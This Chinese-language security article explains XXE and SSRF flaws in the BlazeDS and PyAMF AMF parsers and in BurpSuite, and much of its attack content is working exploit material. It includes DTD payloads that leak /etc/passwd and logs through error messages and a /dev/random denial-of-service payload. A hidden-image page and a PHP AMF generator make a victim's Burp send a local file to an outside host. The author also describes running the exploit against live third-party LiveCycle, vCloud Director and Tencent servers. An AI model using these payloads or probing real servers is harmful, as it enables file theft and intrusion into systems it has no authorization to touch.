AMF解析遇上XXE,BurpSuite也躺槍
0x00 來源
此文譯自http://www.agarri.fr/kom/archives/2015/12/17/amf_parsing_and_xxe/index.html、http://codewhitesec.blogspot.sg/2015/08/cve-2015-3269-apache-flex-blazeds-xxe.html,並做了適當的補充。 原作者(以下的“作者”或“原作者”均表示前一篇原始博文作者)最近在把弄兩個解析AMF(Action Message Format)的第三方庫:BlazeDS和PyAMF。這2個庫均受到XXE與SSRF漏洞的影響。作者發現自己所編寫的用於BlazeDS的利用程式碼同樣可以用於PyAMF。
首先來看看一個時間軸:
- 2015年3月,BlazeDS 4.7.0由Apache Software Foundation釋出,在此之前的版本則是由Adobe所釋出。
- 2015年8月,BlazeDS 4.7.1 釋出,包含CVE-2015-3269的補丁,該XXE漏洞由Matthias Kaiser(https://twitter.com/matthias_kaiser)所發現。
- 2015年10月,BurpSuite 1.6.29釋出,將其所使用的BlazeDS升級至4.7.1,並且預設關閉對AMF的解析。
- 2015年11月,BlazeDS 4.7.2釋出,包含CVE-2015-5255的補丁,該SSRF漏洞由James Kettle(https://twitter.com/albinowax)發現。
- 2015年12月,BurpSuite 1.6.31釋出,更新BlazeDS至4.7.2版本。
- 2015年12月,PyAMF 0.8版本釋出,包含CVE-2015-8549的補丁,該XXE/SSRF漏洞由原博文作者所發現。
0x01 CVE-2015-3269
該XXE漏洞影響了Apache Flex BlazeDS 4.7.1版本之前的所有版本,使用了這些版本的BlazeDS的軟體產品同樣也會受到牽連。這裡對漏洞細節進行一些描述(來源http://codewhitesec.blogspot.sg/2015/08/cve-2015-3269-apache-flex-blazeds-xxe.html):
每一條AMF訊息均包含一個訊息頭與一個訊息體。BlazeDS裡的AmfMessageDeserializer提供了readBody()方法來解析訊息體,在這個方法中,首先透過ActionMessageInput 的readUTF()依次取出targetURI與responseURI;隨後,透過ActionMessageInput 的readObject()來讀取隨後的實際內容。
AmfMessageDeserializer_readBody.java 部分程式碼
#!java
/* */ public void readBody(MessageBody body, int index)
/* */ throws ClassNotFoundException, IOException
/* */ {
/* 158 */ String targetURI = amfIn.readUTF();
/* 159 */ body.setTargetURI(targetURI);
/* 160 */ String responseURI = amfIn.readUTF();
/* 161 */ body.setResponseURI(responseURI);
/* */
/* 163 */ amfIn.readInt();
/* */
/* 165 */ amfIn.reset();
/* */
/* */
/* 168 */ if (isDebug) {
/* 169 */ debugTrace.startMessage(targetURI, responseURI, index);
/* */ }
/* */ Object data;
/* */ try {
/* 173 */ data = readObject();
/* */ }
/* */ catch (RecoverableSerializationException ex)
/* */ {
/* 177 */ ex.setCode("Client.Message.Encoding");
/* 178 */ data = ex;
/* */ }
/* */ catch (MessageException ex)
/* */ {
/* 182 */ ex.setCode("Client.Message.Encoding");
/* 183 */ throw ex;
/* */ }
/* */
/* 186 */ body.setData(data);
/* */
/* 188 */ if (isDebug) {
/* 189 */ debugTrace.endMessage();
/* */ }
/* */ }
/* */
/* */
/* */
/* */
/* */ public Object readObject()
/* */ throws ClassNotFoundException, IOException
/* */ {
/* 199 */ return amfIn.readObject();
/* */ }
/* */ }
readObject函式首先讀取接下來的一個位元組,這個位元組代表了即將讀取的資料型別,例如:15表示接下來要讀取的資料是XML。如果型別XML,那麼接下來readXML函式就會被呼叫,如下程式碼:
Amf0Input_readObjectValue.java
#!java
/* */ public Object readObject()
/* */ throws ClassNotFoundException, IOException
/* */ {
/* 91 */ int type = in.readByte();
/* */
/* 93 */ Object value = readObjectValue(type);
/* 94 */ return value;
/* */ }
/* */
/* */ protected Object readObjectValue(int type) throws ClassNotFoundException, IOException
/* */ {
/* 99 */ Object value = null;
/* 100 */ switch (type)
/* */ {
/* */ case 0:
/* 103 */ value = Double.valueOf(readDouble());
/* 104 */ break;
/* */
...
/* */
/* */ case 15:
/* 147 */ value = readXml();
/* 148 */ break;
/* */
....
/* */ protected Object readXml() throws IOException
/* */ {
/* 511 */ String xml = readLongUTF();
/* */
/* 513 */ if (isDebug) {
/* 514 */ trace.write(xml);
/* */ }
/* 516 */ return stringToDocument(xml);
/* */ }
/* */
可以看到如上程式碼最後的readXML實現,xml被傳入至stringToDocument方法中,該方法屬於XMLUtil類。
XMLUtil_stringToDocument.java
#!java
/* */
/* */ public static Document stringToDocument(String xml, boolean nameSpaceAware)
/* */ {
/* 116 */ ClassUtil.validateCreation(Document.class);
/* */
/* 118 */ Document document = null;
/* */ try
/* */ {
/* 121 */ if (xml != null)
/* */ {
/* 123 */ StringReader reader = new StringReader(xml);
/* 124 */ InputSource input = new InputSource(reader);
/* 125 */ DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
/* 126 */ factory.setNamespaceAware(nameSpaceAware);
/* 127 */ factory.setValidating(false);
/* 128 */ DocumentBuilder builder = factory.newDocumentBuilder();
/* */
/* 130 */ document = builder.parse(input);
/* */ }
/* */ }
/* */ catch (Exception ex)
/* */ {
/* 135 */ throw new MessageException("Error deserializing XML type " + ex.getMessage());
/* */ }
/* */
/* 138 */ return document;
/* */ }
/* */ }
當DocumentBuilder由DocumentBuilderFactory所建立時,外部實體的解析預設情況下是被允許的,開發者需要自己去配置解析器以避免XXE漏洞:(factory.setExpandEntityReferences(false);)。由於上面的程式碼並沒有禁止外部實體的解析,因而產生了XXE。相關可參考:http://security.tencent.com/index.php/blog/msg/69
0x02 漏洞利用之一(PyAMF)
以下的python指令碼(http://www.agarri.fr/docs/amf_srv.py)將會執行一個線上解析AMF的服務,當然你需要安裝PyAMF模組,你可以使用pip install pyamf
來安裝,或者是從github獲取一份程式碼(https://github.com/hydralabs/pyamf)後使用python setup.py install
來安裝;Ubuntu下也可以用apt-get install python-pyamf
。這裡,所執行的PyAMF註冊了2個服務,其中一個是echo。首先用原作者所編寫好的amf_xxe.py
來對所架設的PyAMF服務進行測試。
#!bash
$ ./amf_xxe.py http://192.168.22.201:8081/ echo internal
[+] Target URL: 'http://192.168.22.201:8081/'
[+] Target service: 'echo'
[+] Payload 'internal': '<!DOCTYPE x [ <!ENTITY foo "Some text"> ]><x>Internal entity: &foo;</x>'
[+] Sending the request...
[+] Response code: 200
[+] Body:
........foobar/onResult..null......C<x>Internal entity: Some text</x>
[+] Done
可以看到,常規的實體可以被成功解析,再進一步試試外部實體。
#!bash
$ ./amf_xxe.py http://192.168.22.201:8081/ echo ext_group
[+] Target URL: 'http://192.168.22.201:8081/'
[+] Target service: 'echo'
[+] Payload 'ext_group': '<!DOCTYPE x [ <!ENTITY foo SYSTEM "file:///etc/group"> ]><x>External entity 1: &foo;</x>'
[+] Sending the request...
[+] Response code: 200
[+] Body:
........foobar/onResult..null.......i<x>External entity 1: root:x:0:
daemon:x:1:
bin:x:2:
[...]
xbot:x:1000:
</x>
[+] Done
這說明PyAMF確實存在XXE漏洞,然而實際的生產環境中,我們卻很難找到一個介面,會將解析後的XML資料呈現在返回資料中。當然,我們也知道存在不需要回顯的XXE利用辦法,但是經過作者的測試發現:(1)遠端的URL被禁止使用;(2)沒有其它一些好用的URL協議;(3)使用了通用的報錯資訊,使得我們並不能從報錯資訊裡獲得有用的資訊。即便如此,用這個漏洞來進行拒絕服務還是可行的,例如透過訪問/dev/random
。
#!bash
$ ./amf_xxe.py http://192.168.22.201:8081/ wtf ext_rand
[+] Target URL: 'http://192.168.22.201:8081/'
[+] Target service: 'wtf'
[+] Payload 'ext_rand': '<!DOCTYPE x [ <!ENTITY foo SYSTEM "file:///dev/random"> ]><x>External entity 2: &foo;</x>'
[+] Sending the request...
[!] Connection OK, but a timeout was reached...
[+] Done
0x03 漏洞利用之二 (跑在Java web服務上的BlazeDS)
lazeDS 在利用上比PyAMF要相對容易得多,這是因為:(1)我們可以使用一些java所支援的URL協議(比如http、ftp、jar)來對內部網路進行刺探;同時在利用上,我們也可以呼叫外部的DTD檔案;(2)錯誤資訊詳細,會洩漏出相關的敏感資訊;(3)java上的XXE允許透過file協議來進行列目錄,這樣十分有利於我們查詢我們所感興趣的檔案。與PyAMF一樣,我們利用的時候,並不需要知道這個AMF伺服器到底註冊了哪些可用的服務。
為了方便測試,我們可以在本地搭建測試環境,首先從http://sourceforge.net/adobe/blazeds/wiki/download%20blazeds%204/這裡去下載2011年版本的BlazeDS,原作者下載的是turnkey格式,下載完成解壓後,將解壓檔案放入Tomcat的bin目錄中,然後執行startup.sh
,然後你就可以透過http://127.0.0.1:8400/samples/messagebroker/amf來對BlazeDS進行訪問了。我自己所下載的是binary的格式,解壓後就是一個war包,自己部署一下,就可以訪問了。
部署完成後,就是透過利用指令碼amf_xxe.py
對服務進行測試,效果如下:
#!bash
$ ./amf_xxe.py http://127.0.0.1:8400/samples/messagebroker/amf foo prm_url
[+] Target URL: 'http://127.0.0.1:8400/samples/messagebroker/amf'
[+] Target service: 'foo'
[+] Payload 'prm_url': '<!DOCTYPE x [ <!ENTITY % foo SYSTEM "http://somewhere/blazeds.dtd"> %foo; ]><x>Parameter entity 3</x>'
[+] Sending the request...
[+] Response code: 200
[+] Body:
........foobar/onStatus.......
.Siflex.messaging.messages.ErrorMessage.headers.rootCause body.correlationId.faultDetail.faultString.clientId.timeToLive.destination.timestamp.extendedData.faultCode.messageId
........[Error deserializing XML type no protocol: _://root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[...]
jetty:x:131:143::/usr/share/jetty:/bin/false
............Bu......../Client.Message.Encoding.I707E4DB6-DB0B-6FED-EC4C-01259078D48B
[+] Done
可以看到/etc/passwd
檔案內容被透過報錯資訊爆出,作者所使用的利用程式碼中呼叫了一個外部的DTD檔案:http://somewhere/blazeds.dtd,其內容如下:
#!bash
<!ENTITY % yolo SYSTEM 'file:///etc/passwd'>
<!ENTITY % c "<!ENTITY % rrr SYSTEM '_://%yolo;'>">
%c;
%rrr;
外部DTD中,首先定義了一個引數實體%yolo;然後在引數實體中%c中對其進行了引用;在呼叫%rrr;時,由於rrr所呼叫的協議“_”並不被java所支援,導致報錯,整個URL全部出現在報錯資訊中,/etc/passwd
的內容就藏在其中。同樣,還可以用來讀取tomcat的日誌:
#!bash
<!ENTITY % yolo SYSTEM 'file:///proc/self/cwd/../logs/catalina.YYYY-MM-DD.log'>
<!ENTITY % c "<!ENTITY % rrr SYSTEM '_://%yolo;'>">
%c;
%rrr;
0x04 漏洞利用之三 (使用了BlazeDS的軟體產品)
原作者在文中提到了,一些軟體產品中也使用了BlazeDS,這些產品如果沒有升級打補丁,同樣也會受到影響。這些軟體包括來自Adobe的ColdFusion 和 LiveCycle Data Services,Vmware的vCenter Server, vCloud Director 和Horizon View。為了對這一說法進行驗證,我搜尋了一臺LiveCycle Data Services的伺服器,如下圖:
抓包得到amf的介面地址,使用利用指令碼對該介面進行測試,結果如下圖所示:
同樣,我又找到一臺Vmware的vCloud Director,同樣發現存在問題:
0x05 漏洞利用之四(使用了BlazeDS的客戶端軟體)
大家常用的BurpSuite就是其中之一,躺槍!雖然最新版本的BurpSuite已經修復了此問題,但是大多數同學手中的版本可能並不是最新版本。根據原作者的說明,一起來看看這個漏洞的效果,由於我本機是windows,所以利用程式碼是windows的。 首先,建立一個html檔案.
#!html
<html><body>
Burp Suite + BlazeDS
<img src="http://x.com/test/amf_win.php" style="display:none"/>
</body></html>
其中呼叫的amf_win.php
內容如下,該程式碼的作用就是輸出一個惡意構造的含有XML的AMF資料:
#!php
<?php
function amf_exploit() {
$header = pack('H*','00030000000100036162630003646566000000ff0a000000010f');
$xml = '<!DOCTYPE x [ <!ENTITY % dtd SYSTEM "http://x.com/test/dyndtd_win.xml"> %dtd; ]><x/>';
$xml_sz = pack('N', strlen($xml));
return ($header . $xml_sz . $xml);
}
header('Content-Type: application/x-amf');
print(amf_exploit());
?>
其中,呼叫的dyndtd_win.xml
內容如下,目的就是讀取C盤下的testfile.txt,然後傳送至我們的伺服器x.com上:
#!xml
<!ENTITY % yolo SYSTEM 'file:///C:/testfile.txt'>
<!ENTITY % c "<!ENTITY % rrr SYSTEM 'http://x.com/?%yolo;'>">
%c;
%rrr;
接著,我們開啟BurpSuite,訪問我們精心構造的頁面進行抓包。
可以看到,我們開啟fortest.html後,burp會訪問amf_win.php
,在Wireshark中,我們可以看到我本機的C:\testfile.txt的內容this is a secret!被髮送至伺服器端。
0x06 額外
對於BlazeDS,你可以透過 %foo; ]>的方法來快速暴露出其所在的程式路徑,接著就可以繼續透過前面所述的方法來進行目錄檔案列舉,尋找我們感興趣的檔案。如下圖所示:
XXE讀取檔案內容上的限制使得我們能讀取的敏感內容受到限制,具體如何利用該漏洞進行下一步,就看各自的發揮了。
在一些對實際案例的測試(包括騰訊某伺服器或是一些vCloud Director伺服器)中發現,如果使用外部的DTD,一些伺服器返回的錯誤資訊是如下的樣子:
#!bash [!] Connection OK, but a timeout was reached...
造成這個錯誤資訊的原因猜測可能是伺服器禁止了外部資源的訪問。對於這些伺服器,無法使用外部DTD,引數實體又只能在外部DTD中被引用,使得上述的報錯讀取檔案的方法變得不可行。不過,透過XXE來進行拒絕服務可能是可行的,由於擔心對目標伺服器造成不良影響,並未進行進一步的測試。
相關文章
- 猴年春晚吉祥物遭網友吐槽 谷歌躺著也中槍2016-01-22谷歌
- 連老羅也躺槍?蘋果索尼竟都在9月7日開釋出會2016-08-12蘋果
- 微軟大裁員被惡搞成《侏羅紀公園》:IE躺槍2014-07-21微軟
- 程式設計師日常手勢:IE6又躺槍了2014-04-21程式設計師
- OpenRTMFP/Cumulus Primer(16)AMF解析之AMFReader2012-04-24
- 細數程式設計師被躺著中槍的各種黑2019-04-22程式設計師
- 蘋果和Epic神仙打架,為什麼會讓Steam躺著中槍?2021-03-05蘋果
- OpenRTMFP/Cumulus Primer(14)AMF解析之PacketReader/Writer2012-04-24
- 黑客兜售超330萬資料!大眾汽車客戶躺槍2021-06-22黑客
- 一條簡訊直接崩潰iPhone,幾乎所有iOS裝置躺槍2015-05-27iPhoneiOS
- 猴年春晚吉祥物遭網友瘋狂吐槽:谷歌不幸躺槍2016-01-22谷歌
- OpenRTMFP/Cumulus Primer(18)AMF解析之AMFReader(續2)2012-04-24
- OpenRTMFP/Cumulus Primer(17)AMF解析之AMFReader(續1)2012-04-24
- OpenRTMFP/Cumulus Primer(9)AMF解析之BinaryReader/Writer2012-04-24
- 黑客利用思科智慧安裝漏洞,全球 20 萬臺路由器躺槍2018-04-09黑客路由器
- 網友曝小學生作文《我的爸爸》 程式設計師又躺槍2015-05-26程式設計師
- Burpsuite中protobuf資料流的解析2020-08-19UI
- 資料洩露頻發,戴爾也中槍2018-11-30
- OpenRTMFP/Cumulus Primer(15)AMF解析之資料型別定義2012-04-24資料型別
- OpenRTMFP/Cumulus Primer(9)AMF 處理方式解析——BinaryReader/Writer2012-08-05
- 川普要封禁微信,iPhone卻被誤傷躺槍,網友:搬石頭砸自己的腳!2020-08-11iPhone
- 亞馬遜封殺谷歌蘋果電視盒第三方經銷商躺槍2015-10-31亞馬遜谷歌蘋果
- 新興市場拋售儲備 已開發國家或遭躺槍緊縮2015-10-09
- Java程式設計師可能會犯的幾個錯誤, 看看你是不是躺槍了?2018-12-16Java程式設計師
- 美帝推出智慧手機手槍:恐怖襲擊也不怕!2016-03-26
- [PHP]XXE 12024-11-09PHP
- 賭客用網遊”傳送劵”賭博被抓:直播平臺、廠商躺著中槍2019-06-13
- 亞馬遜封殺谷歌和蘋果電視盒產品第三方經銷商躺槍2015-10-31亞馬遜谷歌蘋果
- 槍械的美學設計與思路解析2023-02-02
- XXE攻擊是什麼?如何有效防禦XXE攻擊?2024-04-12
- 淘寶工程師英文水平差評 雙11下單支付寶報錯讓銀聯“躺槍”2016-11-11工程師
- XXE攻擊攻擊原理是什麼?如何防禦XXE攻擊?2023-02-13
- Java 審計之XXE篇2020-09-28Java
- ctfshow XXE做題記錄2024-04-02
- BurpSuite 功能概覽2021-10-10UI
- BurpSuite 啟用破解2024-04-24UI
- sqlmap使用,配合Burpsuite2024-07-08SQLUI
- XXE從入門到放棄2020-01-17